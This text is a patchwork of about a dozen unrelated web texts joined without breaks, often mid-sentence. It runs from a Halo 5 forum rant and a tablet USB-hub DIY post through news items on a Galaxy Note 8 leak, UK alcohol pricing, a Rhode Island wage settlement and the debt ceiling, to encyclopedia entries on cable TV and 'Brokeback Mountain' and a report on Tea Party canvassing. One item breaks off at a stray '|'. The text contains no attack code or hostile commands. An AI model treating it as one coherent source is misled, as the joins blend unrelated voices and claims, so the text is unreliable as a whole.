"He had a tremendous game for us and I’m happy for him. He’s worked awfully hard; he’s earned everything in this league," Monken said. "So for him to come up big with a number of plays, I’m happy for him -- what that meant to him, what it meant to our team."We all know it... i'm just putting it out there again.........
Is it me or have the smurfs totally ruined this game for Gold and platinum rank players..... I mean comon sr10 and getting 25 kills in the gold bracket but your rank is bronze 6... and this use to happen maybe 1 out of 10 games it seems to be every other game anymore with Sr10 to Sr148 they are everywhere... yes smurfs have always been around for ever i know that... but halo 5 is so easy to smurf on....... its really gotten out of hand i have cut my play time this season to only a few games a week and only ranked one play list slayer because of this..and how bad they are this season i'm probably going cut more play time until you guys can move forward and at least slow them down some... you shouldn't get wrecked every game
im just a average play I'm not no Savage i rank around gold 4 or 5 and by end of season i use to be able to make plat 5 or 6 playing SOLO haven't been able do that for the last few seasons... this season i ranked gold 6 and with people not playing (smurfing a new or old account) or the other team has one or two smurfs on i'm down to gold 3 and cant seem to rank up anymore... I shouldn't have to rally up a team ever time i want to play this game.......... just what to play people at skill level you guys have put me atLately I have been fascinated with Android’s built-in support for USB hardware devices. Provided you have the right adapter, you can plug in a keyboard, mouse, gaming controller, or USB drive and it will just work. This is due to a USB specification called USB On-The-Go (OTG) and it’s pretty amazing.
I had an older Nexus 9 tablet laying around and I wanted to see if I could extend its functionality with some bolt-on upgrades. This is a small project that I had been thinking about for awhile and I thought adding a USB hub to a tablet would be the key to its upgrade potential.
First and foremost, I think many tablets are limited in their hand free usability – you either have to hold them or prop them up in some sort of folding case, a tenuous solution that provides limited viewing angles. Adding a proper tripod base is a little unorthodox but provides a very stable base with a lot of flexibility.
The tripod will be the legs of this project but a silicone case will be the backbone. An inexpensive case will allow me to easily attach things to the tablet without ruining it. I can always remove the tablet and switch it to another case if I need to travel with it.
A USB hub glued to the back will be the key to extending usability and will support all sorts of USB devices. At a minimum I planned to use a USB drive, a mouse, and a USB microscope with the tablet on a regular basis.
I went searching on Amazon and found all of my key ingredients.
Started off with a nice silicone case. I like the blue color, it’s nice and grippy, and seemed rugged enough to take some tumbles off the work bench.
Next was the tripod. This was a cheap bendy tripod made for phones. The selling point here was the orientation of the phone mount, it was a perfect match for the layout I had planned.
There were plenty of USB hubs to choose from. This one was inexpensive and I liked the yellow color to contrast with the case.
Last was this right angle USB adapter I found. This would allow for a low profile connection between the hub and tablet. I’m amazed I found the exact adapter I wanted, I guess the market for USB connectivity is pretty saturated.
Once I had all of the parts in hand the next step was to lay everything out on the case. The tripod mounting piece was slated for the lower-center of the case and I wanted to make sure the USB hub could reach the adapter on the side. Everything seemed to fit well.
Used some silicone adhesive on the back of the USB hub and tripod mount. A little bit goes a long way. The grooves on the case did a good job of meshing with the adhesive. I let everything cure overnight.
The moment of truth! I attached the tripod and it held the tablet well. The legs took some adjustment to support the tablet’s center of gravity but worked very well. I was pleasantly surprised with the stability and the flexibility of the tablet’s viewing angle.
I then rushed to plug in as many USB devices as possible!
A nice shot of the populated USB hub. Of the all of the devices plugged in, the Lexar USB drive and the mouse are by far the most useful. It’s a little strange to use a mouse with Android to start but it provides so much more precision than my fat fingers. Web browsing is so much easier when you can finely locate and click links.
I’m a little concerned long term about the USB connection with the right angle connector. I would love to find a better way to protect the adapter so the tablet port doesn’t take the full brunt of a fall. The adapter is nice and low profile but it is a weak part of the layout.
The best use case for the tablet will be in the workshop. The tripod base frees up table space and improves screen viewing angles substantially. Perfect for viewing manuals, diagrams, or other reference material.
Add a USB borescope or microscope and you have a multi-functional shop tool!
Overall I’m happy with this project. The concept seems sound and I’m pleased with the execution.
If I had to do it again I would pick a better tripod, the bendy one I selected is just OK. I also need to find a better way to protect or strain relief the USB connection to the tablet.
At worst I now have a more stable platform for watching Netflix. At best I have a very utilitarian computer for use in the workshop!On July 20, Samsung announced their next Unpacked event which is expected to debut the Galaxy Note 8. Their slogan for the Note series this year is “Do bigger things”. It seems like Samsung Australia has jumped the gone and have pushed the Note 8 pre-registration page live.
The page doesn’t give us any information on the upcoming Samsung device other than confirming the device name as the “Note8”. The page, which seems to be a work in progress, doesn’t look complete. The page just shows the Unpacked image; the form for pre-registering was found within the code and can be seen here. It is unknown when the pre-registration pages will be live officially, but this is a pretty good hint that it will be soon.
While no “real” images of the Note 8 have leaked, but we have a pretty good idea as what to expect. This will be the first Samsung flagship device to feature dual cameras and have 6GB of RAM. Base storage is expected to start at 64GB and be expandable. It will be IP68 water resistant and sport Samsung’s trademark Infinity Display. More information is likely to leak as we get closer to the debut, so we’ll keep you updated.The planned Eli Roth Thanksgiving film has been in the rumor mill for so long that no one could blame you for giving up all hope.
If you went to theaters to see Grindhouse, the Quentin Tarantino-Robert Rodriguez homage to exploitation films of the 70s, then you are well aware of the faux trailers.
While each effort was worthy of its own no-budget film, it was the Eli Roth Thanksgiving trailer that seemed the most fun. That’s because it played with early slasher movie conventions with a costumed killer, over-the-top kills, and a holiday theme.
Just try to watch the trampoline kill or the Thanksgiving dinner itself and try not to lose your turkey and stuffing.
As glorious as that trailer was for horror fans, a film just had to be imminent. And Roth has done an excellent job talking up the feature film version, but to date, nothing has happened.
The last mention of Thanksgiving came in a February 2014 report from ScreenRant, in which Roth said that he planned to sit down with a writing partner and “bang out a script” in September of this year.
“I’ve been working on the script with my co-writer, Jeff Rendell, who plays the pilgrim in the trailer,” Roth said. “And it’s me imitating Jeff’s voice [for the narration]. But Jeff has been working. I said that his deal |
up Programming™ and click ‘New Web Form’. Intellij does a reasonable job on this front - you can start a new web project, compile and open the result in a browser in a few button clicks. But in most environments you need a tutorial just to start a new project.
Finding help
So Anon is now staring at a blinking cursor on a blank editor page. What next? How does one go about making a web form, or send a email? For common tasks google will probably find you entire code samples or at the very least some javadocs. The samples will be missing lots of implicit information such as how to install the necessary libraries and how to deal with missing dependencies and version conflicts. Transcribing and modifying the examples may lead to bugs that suck up time. It’s not terrible, mostly thanks to sites like stackoverflow, but it’s still a lot of unnecessary distractions from the task at hand.
I want to just type ‘email’ and see a list of functions and libraries relating to email. If I select a function from autocomplete, its dependencies should be automatically added to the project without any fuss. Missing dependencies or version conflicts should be presented alongside suggestions for resolution (click here to choose version A). Bing Code Search takes this idea even further and autocompletes code for common tasks.
Writing code
Even for experts, programming is an exploratory process. We experiment with libraries, run through examples and iteratively build up features. One of the most painful lessons beginners have to learn is just how often everyone is wrong about everything. Tightening the feedback loop between writing code and seeing the results reduces the damage caused by wrong assumptions, lightens the cognitive load of tracking what should be happening and helps build accurate mental models of the system. The latter is especially important for beginners who often suffer from miscomprehensions about even the basic semantics of the language. Unfortunately, the most you are likely get is automatically refreshing your browser. Maybe a REPL if you are lucky.
Imagine a spreadsheet where every time you change something you must open a terminal, run the compiler and scan through the cell / value pairs in the printout to see the effects of your change. We wouldn’t put up with UX that appalling in any other tool but somehow that is still the state of the art for programming tools. I suspect a lot of the blame lies in our failure to find a model for GUI tools that is as flexible and composable as plain text. I see a lot of potential in Paul Chiusano’s ideas for killing the application and in Eskil Steenberg’s Verse.
Light Table at least gives you inline eval, watches and the instarepl. This type of interaction is taken further by ideas like Debug Mode is the Only Mode and Example Centric Programming). Instead of having a separate editor, compiler, repl, debugger etc you develop everything by editing code in the debugger. It is a similar idea to JIT compilers - the IDE has more information available at runtime then at compile time so it can make better decisions and provide better feedback (eg by generating example inputs and outputs as you write a function).
Plain text is also very limiting. Language is very good for conveying meaning but not so great for displaying data. Being able to quickly throw up graphs and diagrams (like in rhizome, automat or lamina) is incredibly useful. Light Table’s inline graphs are a start but we haven’t otherwise made much use of visualisation. First person to implement inline graphviz gets a cookie.
Running code
Surprisingly, one of the most common difficulties we have heard from beginners is just running code. Even if we were to hand Anon the entire lunch_app source code they would likely still struggle to actually use it. They have to install dependencies, compile code, start servers and open ports. At each step the errors are difficult to diagnose and time-consuming to fix. The tools that are intended to fix this are often even worse themselves (every time I write a blog post in octopress I find rvm has somehow broken again). IDEs like Intellij and Visual Studio do a reasonable job of standardising the build process and capturing dependencies so that it is usually possible to import a project and just hit run, but that only goes as far as development. For deployment we have tools like Docker which make deployment highly repeatable but don’t help much with capturing the process in the first place. None of these really help Anon the intern deploy lunch_app.
The lunch app is going to need scheduling too, and error logging and monitoring. Anon needs to be alerted if the emails don’t go out or if there are no reponses. Setting up even the simplest logging, monitoring and restarting is a hassle even for professional programmers.
Wolfram’s Language workflow is pretty close to ideal. You work in a notebook where code runs and updates instantly with no manual compile step. Deploying to a cloud server is just a single function call which automatically collects code and dependencies and returns a url where your program is now running. No need to think about files or libraries, no project files, no build artefacts, no messing about setting up servers and opening ports.
From there it doesn’t take much imagination to add easy task scheduling and an error logger that emails Anon when something goes wrong. None of this requires giving up control either. You could just as easily replace ‘cloud server’ with ‘departmental server’ or ‘little black box that came with our internet’. The important point is that there are sensible defaults for deployment and that it is ‘batteries included’ in the language or IDE.
What?
The simplest question we could ask about our application is ‘what is the current state’. Bizarrely, very few programming environments give you any help on this front. Many programmers get by with nothing but print statements. If you are lucky you may have a debugger or watches, but you still end up looking at your application through a keyhole. You have to actively insert instrumentation by hand to view the state of each tiny part of the application. If you want to modify that state you have to mentally work backwards and construct the correct piece of code to find and change the variable that you are looking at. It may not even have a name that is accessible from the repl (eg a variable in an anonymous closure). Viewing and modifying the state of the application should be a fundamental interaction and yet it’s made unreasonably difficult by our languages and tools.
Compare this to a tool like Excel or Django Admin where all the data is laid out for easy browsing without any active effort from the user and can be directly modified just by clicking and typing. The tooling itself isn’t difficult but it requires rethinking the way we manage state in programming languages. All mainstream languages, regardless of paradigm, encourage anonymous local state which can’t be easily observed and modified.
Once we have managed state, whether using a relational model like Bloom or more traditional functional data-structures like Opis, we can easily record history too. Tools like time travelling debuggers that require huge engineering effort in traditional languages become trivial when you can cheaply record or reconstruct the past. Reproducing bugs is easier when you can just snapshot your history and mail it to the developer. Bloom and Opis are also both able to determine dataflow topologies from source code so when stepping into an unfamiliar project you can quickly get a visual overview of how the various components communicate (examples are buried here and here).
Why?
Traditional debuggers focus entirely on the what - walking through a narrow slice of state on step at a time. But when debugging the question one usually starts with is why? Why are the lunch options in the wrong order? Why didn’t the lunch email go out? Why is everyones bill for the month zero? These questions typically involve reasoning backwards from effect to cause whereas debuggers walk you forward from cause to effect. The result is that debugging consists mostly not of finding the problem but manually walking backwards along the chain of causes by setting up isolated test cases and repeatedly rerunning them under the debugger.
Theseus improves on this slightly by capturing arguments at the entrace to each event callback, so that you don’t have to repeatedly rerun. Ko and Myer’s causal debugger explicitly answers the questions why and why not by tracing the tree of causes for each state change, so that the process of walking backwards from effect to cause is entirely automated and you can just focus on figuring out where things went wrong.
The problem gets even worse with scale. Debugging by following control flow works poorly in large systems where what really matters is data flow. Answering questions like ‘why do orders sometimes get lost’ requires tracing through an enourmous graph, one which is not even recorded in most systems and instead has to be inferred from logs, like piecing together ancient civilisations from broken pottery. BOOM analytics deals with this by reflecting all data, from error logs and persistent data to message queues and profiling data, into relational tables that are made available to overlog - the same distributed query language that runs the rest of the system. This means you can directly run queries over the causality graph, such as ‘for each order that was entered into the system but not completed, give me a list of every message was linked to that order by some chain of rules’. Since the recording of this data was itself governed by overlog rules you can switch on detailed logging at runtime for specific kinds of data eg ‘record all messages concerning order 197 originating from cluster C and forward them to me’.
Change
Outside of the software world, version control and collaboration software is limited to saving lunch_app.v07 and attaching it to an email. Collaborating on a single project is difficult and slow. The standard tools of the trade for programmers (git, mercurial etc) are vastly more powerful and solve a pressing problem but present an interface that baffles and frustrates many users. The underlying model is elegant and powerful but even the graphical interfaces require a significant investment of time and effort to understand.
What Anon needs is somewhere between undo-tree (without the ascii art) and etherpad. Changes should be automatically recorded and (optionally) retroactively tagged with commit messages. Real-time collaboration should be as simple as clicking on a coworkers face. Undoing changes and checking out different versions should just be a matter of moving around on the commit graph. Dragging a piece of code out of the editor should produce a link to the VCS page for that code. If the editor understands the structure of the code we even can track semantic changes to individual units of code (eg rename function, reorder expressions) rather than diffing text in a file, making both automatic and manual merges easier since we have a better record of the intent of the change.
Similary, when Anon 2 the accountant wants to modify their client-side copy of the lunch form to remember their favourite lunches it should be a simple process. No hunting down and recompiling system binaries, no installing greasemonkey scripts from the filesystem. Just click to open the source, modify to your satisfaction, click to save. I’ve never seen anything come close to this basic interaction. The OLPC view source button promised exactly this experience but as far as I know it never materialised (it certainly didn’t work on mine).
Learning
Programming tools generally pay very little attention to producing helpful error messages (with one or two exceptions). There is a modest amount of evidence that people interact with computers as if they were people. Many of the results of this research are suprising and counter-intuitive eg personifying the compiler can improve learning rates in students. Given that, do you really want to spend lots of time with the kind of person who just repeatedly shouts ‘cannot call method undefined of undefined!’ in your face without so much as hinting how you might fix the problem or where you might start looking?
Our programming environments are absurdly hostile. Interfaces either overwhelm with detail or hide everything. Most actions cannot be undone (eg changing a variable, defining a function, installing a library). Runtimes default to exiting on uncaught exceptions, throwing away all the context that would be useful for solving the problem and forcing the user to try to recreate the crashing state. When any action can lead to confusing breakage and ruined work, inexperienced users suffer from fear and paralysis and an unwillingness to experiment. This cripples their ability to learn.
Error messages should at the very least identify what might have caused the error and preferably offer options for fixing it. Intellij, for example, will highlight spelling mistakes and offer to correct them (“did you mean…”). Good end user applications will link common errors to FAQs. Suggestions don’t need to be perfect, just accurate. Everyone hated Clippy because his advice was useless and repetitive and lacked context. The golden rule is if you don’t have something useful to say, don’t say nothing at all. One ambitious project (ref?) crowd-sourced examples of causes of and solutions to type-checking errors. Large-scale data collection and testing may end up being the best path to providing helpful feedback.
Environments also need to be more proactive. Uncaught errors should drop the user into the debugger where they can edit and continue. Editors can spot common mistakes and suggest corrections (Intellij is pretty good at this, as is kibit, but many people are still working with editors that don’t even warn them of typos or shadowed variables). Profilers can heuristically explore bottlenecks and suggest solutions (eg if foo was indexed this query would run 10x faster). Rather than rely on users to create their own tests we can prompt them for examples and invariant properties and search for counter-examples. Opis comes equipped with a profiler that automatically estimates the asymptotic complexity of each function in the model and a finite-state model checker that can prove invariants always hold by efficiently and exhaustively checking every possible state. Bloom features a generative testing framework that uses an SMT solver to efficiently explore the space of possible and a static analysis pass that warns of missed coordination points in distributed programs. Does your IDE even run your unit tests for you?
Finally, environments can’t be black boxes. Beginners need a simple experience but if they are to become experts they need to be able to shed the training wheels and open the hood. Many attempts at end-user programming failed because they assumed the user was stupid and so wrapped everything in cotton wool. Whenever we provide a simplified experience, there should be an easy way to crack it open and see how it works. Nothing should be magic forever. Ensure that the users curiousity is never frustrated and they won’t need teaching for long.
Some of the things I have described are just a matter of paying attention to the details. Others require doing things very differently. The key parts of our plan for Aurora are:
storing code in a networked database with version control and realtime sync
a structured editor to enable rich ASTs with unique UUIDs
managing environments declaratively so that evaluating code is always safe
a uniform (logical) data model where every piece of state is globally addressable
a model for change that tracks history and causality
a powerful query language that can be used for querying code, runtime state, causal graphs, profiling data etc
composable gui tools with transparent guts
a smooth interface to the old world so we don’t end up sharing a grave with smalltalk
We will dive into these in more detail in the coming months.
None of this will be at all easy, but it’s no harder than continuing what we are doing now and much of the groundwork has already been laid if you know where to look. If one thing is certain, it is that the future is not 80 characters wide.Concerns over so-called binge-drinking in the UK have led the governing coalition to fix a minimum price for alcohol in England and Wales.
Drinks would no longer be sold for less than the tax and duty owed on them, adding up to 45 cents for a can of the weakest lager and 12.79 euros for a bottle of vodka.
“I think while you have got a situation where in some supermarkets you can walk in and buy incredibly cheap drink, a lot of it high strength lager, which people are using to get off their heads before they even go out, that is what we want to hit,” Prime Minister David Cameron told an audience.
Critics said this was a step in the right direction, but a very small one.
The Scottish Parliament last year rejected plans for a minimum price. Opposition MPs said it would penalise those who drank responsibly and could also be illegal under EU competition law.PROVIDENCE, R.I. — Entrepreneur Gianfranco Marrocco and his businesses have agreed to pay $303,000 in back wages and damages to 146 low-wage workers, following an extensive U.S. Department of Labor investigation.
The Labor Department's Wage and Hour Division found "numerous payment schemes" that deprived cooks and dishwashers of overtime pay.
The investigation into the Marrocco Group's four restaurants, two bar-lounges and a boutique hotel on Federal Hill is part of an ongoing multi-year enforcement and education effort focused on restaurants in Rhode Island and Connecticut, said Donald J. Epifano, assistant district director for the division.
The "Strategic Enforcement Approach to Compliance" initiative began last October. The first enforcement action, in April, was against the Cilantro Mexican Grill restaurant chain in Rhode Island, which was ordered to pay $110,417 in back wages and damages to 32 restaurant workers.
The two-year investigation into the Marrocco Group's businesses began in September 2011, and recently reached a settlement agreement, Epifano said.
Marrocco has begun to pay the employees, Epifano said. The investigation was extensive, he added, "because there were so many establishments, we had to gather records from every establishment, we had to interview all the employees..."
The investigation included the Marrocco Group sites: the former Amici Bar & Grill at 242 Atwells Ave. (which later reopened as The $3 Bar); Caffé Dolce Vita at 59 DePasquale Plaza; Mediterraneo Caffé at 134 Atwells Ave.; Wise Guys Deli at 133 Atwells Ave. (now under new ownership); the Skarr Hookah Lounge at 292 Atwells Ave.; the Smoke Lounge at 114 Spruce St., and Hotel Dolce Vita at 59 DePasquale Plaza.
"We found 146 low-wage Marrocco Group employees working long hours without being paid legally required overtime compensation," said Michelle Garvey, the wage and hour division's district director for Rhode Island and Connecticut. "Unfortunately, these violations are far too common in the restaurant and hospitality industry and harm workers and undercut law-abiding employers who pay their employees correctly."
Garvey added, "We will continue to make unannounced visits to restaurants in Rhode Island and Connecticut to help ensure that workers receive the wages to which they are entitled."
Investigators found "numerous payment schemes" reflected in payrolls for the seven establishments, that led to violations of the Fair Labor Standards Act's overtime and record-keeping requirements.
"Some payrolls showed two different entries for hours worked: 20 hours at straight time and 25 hours at straight time, rather than 45 hours; or straight time of 40 hours and a payroll entry of "OTHER" that equaled hours over 40 at straight time," according to the Labor Department.
Epifano said the Hartford District Office, which covers Connecticut and Rhode Island, "has completed about 50 restaurant investigations to date," with roughly an equal amount of cases currently under investigation.
Marrocco sold The Wise Guys Deli, one of the seven establishments that was investigated, last year after a license dispute. The Amici Bar & Grill was investigated prior to its becoming The $3 Bar. The city closed The $3 Bar after a fight that ended with a fatality last July.
Another of Marrocco's establishments, Karma, was not part of the investigation. The downtown dance club that Marrocco had co-owned was closed by city order in 2014, after a double-shooting.
(Correction: This story was updated at 1:38 p.m. Wednesday to remove a reference to attorney Jina Petrarca-Karampetsos. She does not represent Marrocco in the settlement agreement with the U.S. Department of Labor.)
kziner@providencejournal.com | (401) 277-7375 | @karenleezThe Planning Board will hold a public hearing Tuesday where residents can voice their opinions on a proposed bylaw that would regulate where medical marijuana dispensaries could operate in town.
The Planning Board will hold a public hearing Tuesday where residents can voice their opinions on a proposed bylaw that would regulate where medical marijuana dispensaries could operate in town.
The Planning Board began discussing a zoning bylaw earlier this month that would limit dispensaries to the two industrial zones in town and would add other restrictions, including keeping dispensaries 200 feet from schools, parks and other sensitive properties.
“I think people get mesmerized by the topic,” said Planning Board Chairman Patrick Kennelly. “I don’t think people always understand what we’re trying to do.”
After Question 3 was passed in last November’s state election, allowing use of marijuana for medicinal purposes, the Board of Selectmen asked the Planning Board to draft a bylaw for the town to consider.
Kennelly said the voters have spoken, whether local residents agree with it or not. Since the medical marijuana dispensaries will be legal businesses, there would be no avoiding them coming to town, Kennelly said.
When the medical marijuana bylaw was first discussed, Kennelly said a few residents did attend to make a comment, but both were open-minded and didn’t feel restrictions were really necessary.
Kennelly said he welcomes members of the public who’d like to hear the proposal in full and make any suggestions to the public hearing, which is set for 7:05 p.m. on Tuesday.
Following the public hearing, the Planning Board will vote on the bylaw as written and pass it along to selectmen with any suggestions that may come out of the hearing.
The bylaw will need approval from the Town Meeting and is expected to be brought forward by the selectmen at the annual Town Meeting in the spring.
Lindsay Corcoran can be reached at 508-634-7582 or lcorcoran@wickedlocal.com.John Walson Sr. (1915–1993), from Mahanoy City, Pennsylvania, is recognized by the U.S. Congress and the National Cable Television Association as having invented cable TV in the spring of 1948.[1]
Walson, owner of a Mahanoy City General Electric appliance store, needed to solve problems receiving signals from Philadelphia television stations, which were blocked by the mountains surrounding the town. Walson erected an antenna on a utility pole on a local mountaintop that enabled him to demonstrate the televisions in his store with strong broadcasts coming from the three Philadelphia stations. He connected the antenna to his appliance store via a cable and modified signal boosters. He then connected several of his customers who were located along the cable path. This was the first community antenna television (CATV) system in the United States.
Walson's company grew over the years, and he is recognized as the founder of the cable television industry[citation needed]. He was also the first cable operator to use microwave to import distant television stations[citation needed], the first to use coaxial cable to improve picture quality[citation needed], and the first to distribute pay television programming[citation needed].
His descendants now own Service Electric, which is a family owned cable TV provider serving Pennsylvania and Northwestern New Jersey.[1]WASHINGTON — With a budget deal still elusive and a deadline approaching on raising the debt ceiling, Speaker John A. Boehner has told colleagues that he is determined to prevent a federal default and is willing to pass a measure through a combination of Republican and Democratic votes, according to one House Republican.
The lawmaker, who spoke on the condition of not being named, said Mr. Boehner indicated he would be willing to violate the so-called Hastert rule if necessary to pass a debt limit increase. The informal rule refers to a policy of not bringing to the floor any measure that does not have a majority of Republican votes.
Other Republicans also said Thursday that they got the sense that Mr. Boehner, who held two meetings Wednesday with groups of House moderates, would do whatever was necessary to ensure that the country did not default on its debt.
Representative Michael G. Fitzpatrick, Republican of Pennsylvania, was one of just 22 House Republicans this year who helped Mr. Boehner pass three crucially important bills — to avert a fiscal showdown, to provide relief for the victims of Hurricane Sandy, and to pass the Violence Against Women Act — with a majority of Democratic support. He said he expected he might be asked to do so again.
“Hurricane Sandy, the fiscal cliff — all of the big votes require reasonable Republicans and Democrats to come together in order to pass it and get it to the president’s desk,” he said. “This will be no different.”
And, Mr. Fitzpatrick added, “I’ve been there in the past and I’m prepared to be there again.”
Representative Leonard Lance of New Jersey, one of the moderate Republicans who met privately with Mr. Boehner on Wednesday, would not provide details of the meeting, but said, “The speaker of the House does not want to default on the debt on the United States and I believe he believes in Congress as an institution, and I certainly believe he is working for the best interests of the American people.”
Passing a measure with a majority of Democratic votes could bring Mr. Boehner trouble from his right flank. He has so far refused to bring to the floor a measure that could halt the shutdown but that would require significant support from Democrats.
Though not addressing the Hastert rule specifically, a spokesman for Mr. Boehner said that the speaker knew that a default must be headed off.
“The speaker has always been clear that a default would be disastrous for our economy,” said Michael Steel, a spokesman for Mr. Boehner. “He’s also been clear that a ‘clean’ debt hike cannot pass the House. That’s why the president and Senate Democrats should drop their ‘no negotiations’ stance, and work with us on a plan to raise the debt limit in a responsible way, with spending cuts and reforms to get our economy moving again and create jobs.”"Brokeback Mountain" Author Annie Proulx Country United States Language English Genre(s) Short story Published in The New Yorker Publication type Magazine Publisher The New Yorker Media type Print (Periodical) Publication date October 13, 1997
"Brokeback Mountain" is a short story by American author Annie Proulx. It was originally published in The New Yorker on October 13, 1997, for which it won the National Magazine Award for Fiction in 1998. Proulx won a third place O. Henry Award for the story in 1998. A slightly expanded version of the story was published in Proulx's 1999 collection of short stories, Close Range: Wyoming Stories. The collection was a finalist for the 2000 Pulitzer Prize for Fiction.
Screenwriters Larry McMurtry and Diana Ossana adapted the story for the 2005 film Brokeback Mountain. At that time, the short story and the screenplay were published together, along with essays by Proulx and the screenwriters, as Brokeback Mountain: Story to Screenplay.[1][2] The story was also published separately in book form.[3]
This story has also been adapted as an opera by the same name, composed by Charles Wuorinen with a libretto in English by Proulx. It premiered at the Teatro Real in Madrid on January 28, 2014.[4][5]
Synopsis [ edit ]
In 1963, two young men, Ennis del Mar and Jack Twist, are hired for the summer to look after sheep at a seasonal grazing range on the fictional Brokeback Mountain in Wyoming. Unexpectedly, they form an intense emotional and sexual attachment, but have to part ways at the end of the summer. Over the next twenty years, as their separate lives play out with marriages, children, and jobs, they continue reuniting for brief liaisons on camping trips in remote settings.
Literary form [ edit ]
"Brokeback Mountain" is a story told by an omniscient narrator. The narrative is realistic in tone and employs description, metaphor and dialogue to examine the actions, thoughts, emotions, and motivations of its main characters.
The narrative is mostly linear, apart from an introductory prologue (which was accidentally omitted from the initial publication in The New Yorker magazine); the story describes events in sequence from a beginning point in time, the year 1963 when the characters are introduced, to the end of the story some 20 years later. Other than the title location and the town of Signal which is the nearest settlement to the eponymous mountain, the settings are actual locations in the United States. The characters are described in a naturalistic manner, as people living in a specific milieu. The story adheres to conventions of modern dramatic fiction; its literary devices serve to present a portrait of recognizable people in familiar situations, without supernatural or metaphysical allusions (while other of the Wyoming Stories do include passages of magical realism).
In the two-paragraph prologue, the lead protagonist, Ennis del Mar, awakes in his trailer at some unspecified time beyond the ending of the story. Over a cup of coffee he reflects on the time in 1963 when he first met Jack Twist. The main narrative then begins with the description of the two protagonists as they were in 1963:
“ They were raised on small, poor ranches in opposite corners of the state, Jack Twist in Lightning Flat, up on the Montana border, Ennis del Mar from around Sage, near the Utah line, both high school drop out country boys with no prospects, brought up to hard work and privation, both rough mannered, rough spoken, inured to the stoic life. ”
From there, the story is an episodic examination of conflicts arising from the characters' interaction with each other and other people in their lives. The story condenses passing years and significant events into brief passages, and employs dialogue to reveal character and conflict.
“ They never talked about the sex, let it happen, at first only in the tent at night, then in the full daylight with the hot sun striking down, and at evening in the fire glow, quick, rough, laughing and snorting, no lack of noises, but saying not a goddamn word except once Ennis said, "I'm not no queer," and Jack jumped in with "Me neither. A one shot thing. Nobody's business but ours." ”
Origins [ edit ]
Proulx said she wrote the story based on her own reflections about life in the West. Regarding the setting, Proulx stated:
“ Rural North America, regional cultures, the images of an ideal and seemingly attainable world the characters cherish in their long views despite the rigid and difficult circumstances of their place and time interest me and are what I write about. I watch for the historical skew between what people have hoped for and who they thought they were and what befell them."[6] She mentioned once noticing a middle-aged man in a bar, who appeared to be watching only the men playing pool, which led her to consider the life of a typical western ranch hand who might be gay.[7] ”
Proulx said her main characters of the two men affected her long after the story was published. The film version rekindled her feelings for them — an attachment that she had previously rejected. In a 1999 interview in The Missouri Review,[8] Proulx said the notion of falling in love with fictional characters was "repugnant".
Adaptations [ edit ]
The film Brokeback Mountain (2005) won numerous awards, including Academy Awards (for 2005) for Best Adapted Screenplay (McMurtry and Ossana), Best Director (Ang Lee), and Best Original Score (Gustavo Santaolalla). It was nominated for a total of eight awards (the most that year), including Best Picture, Best Actor (Heath Ledger as Ennis), and Best Supporting Actor (Jake Gyllenhaal as Jack). Its loss of Best Picture to Crash was not generally expected, though predicted by some.[9]
Charles Wuorinen, a contemporary American composer, became interested in the story, and Proulx wrote the libretto to adapt her work. Their work was commissioned by Mortier of the New York City Opera and they started working together in 2008, completing it in 2012. The work premiered at the Teatro Real in Madrid on 28 January 2014.[10][11]
Fan fiction [ edit ]
The film's popularity has inspired numerous viewers to write their own versions of the story and send these to Proulx. In 2008, Proulx said she wished she had never written the 1997 short story which inspired the film, because she has received so much fan fiction presenting alternative plots:[12]
[The film] is the source of constant irritation in my private life. There are countless people out there who think the story is open range to explore their fantasies and to correct what they see as an unbearably disappointing story.[13]
She said the authors, mostly men who claim to "understand men better than I do",[12] often send her their works:[13]
They constantly send ghastly manuscripts and pornish rewrites of the story to me, expecting me to reply with praise and applause for "fixing" the story. They certainly don't get the message that if you can't fix it you've got to stand it.[13]
See also [ edit ]
References [ edit ]
Further reading [ edit ]Gail and Steve Koroupis, volunteers with Americans for Prosperity, talk to Leesburg voter Patrick Henry, center. Photo by David Weigel.
LEESBURG, Va.—The new Americans for Prosperity field office is a short walk from downtown, in an unusually stately office park. (Most things in Leesburg are unusually stately.) Today, National Prosperity Action Day, the red brick office is decorated with yellow balloons and loaded with trays of Famous Dave’s pork and brisket. Sixty-odd AFP activists mill inside and outside, getting to know each other before the big schlep.
For one day, the Leesburg office is AFP central. Tim Phillips, the Tea Party group’s affable president, is here to host a live-stream rev-up-the-troops documentary. He and a two-man crew walk through the office’s dozen rooms, and a camera-laptop contraption captures the Tea Partiers as they make calls. Each room has at least eight no-frills Samsung cellphones—“freedom phones,” cheaper than land lines—bowls of candy, and simple scripts. Phillips gathers the faithful in the parking lot, and boils the script down to a few sentences.
“We have a very simple message to the folks we’re reaching,” he says. “Do you know what that message is?”
YES!
“It’s about the disastrous impact that Barack Obama’s policies are having on our families, our businesses, and our nation. And we’re going to change it, right?”
YES!
Democrats are feeling better about the 2012 election. Every time Mitt Romney stumbles through a news cycle, every time a swing-state poll comes out, Barack Obama is doing better than he has any right to do. A year ago, no electoral mathematician would have predicted Democrats holding on to the Senate. As of right now, Harry Reid’s party is actually pulling it off.
Enter the Tea Party. Since 2009, the conservative movement has mushroomed with well-funded third-party groups that buy ads and canvass voters, independent of the Republican Party. According to a study of this mojo by Tom Hamburger and Peter Wallsten, AFP will spend around $62 million on Get Out the Vote efforts in swing states, managed by 116 organizers, headquartered in 51 offices. Compare that with Americans Coming Together, the Soros-funded 527 that spent $79 million to complement the Democrats’ turnout machines in 2004—then add in FreedomWorks, the Faith and Family Coalition, and all those local Tea Party teams.
But it’s AFP that makes Democrats clammy and nervous and paranoid. This is David Koch’s group, the one that was buying Solyndra TV ads nine months ago, because its money spigot never runs dry. Can it cancel out all the work that the Democratic National Committee’s Organizing for America has done all year?
I’m spending Saturday with AFP, so maybe I’ll find out. Of the 60-odd activists on hand, half have been bussed down from Baltimore County, Md. “They actually completed 197 survey calls on the bus ride to get here,” says Phillips. While the Virginia team makes phone calls, the Marylanders gather in the front of the office. Nick Loffer, the grassroots director, hands out 10 Motorola tablets, preloaded with data and maps that will tell them which voters are persuadable.
“You’re going to walk up to the household and hit ‘arrive,’ ” says Loffer. “You’re going to say something like this: ‘Hi, my name’s Nick. I’m with Americans for Prosperity of Virginia, and I’m concerned about the direction of our country. Do you have time to answer a few survey questions?’ If they say yes, you proceed with the questions.”
At 12:45 p.m. the Marylanders pile onto the buses. AFP staffers are waiting for them. Each group will consist of three people—the tablet-holder, the buddy, and a spare—and be dropped off at a predetermined spot. My bus makes its first stop, then heads up a hill, then stalls. “We need more ballast at the front!” says Nick Loffer.* Eight Tea Partiers move toward the bus driver. The weight balances, and the bus moves on. “Maybe Mayor Bloomberg is onto something about calorie laws!” jokes Loffer.
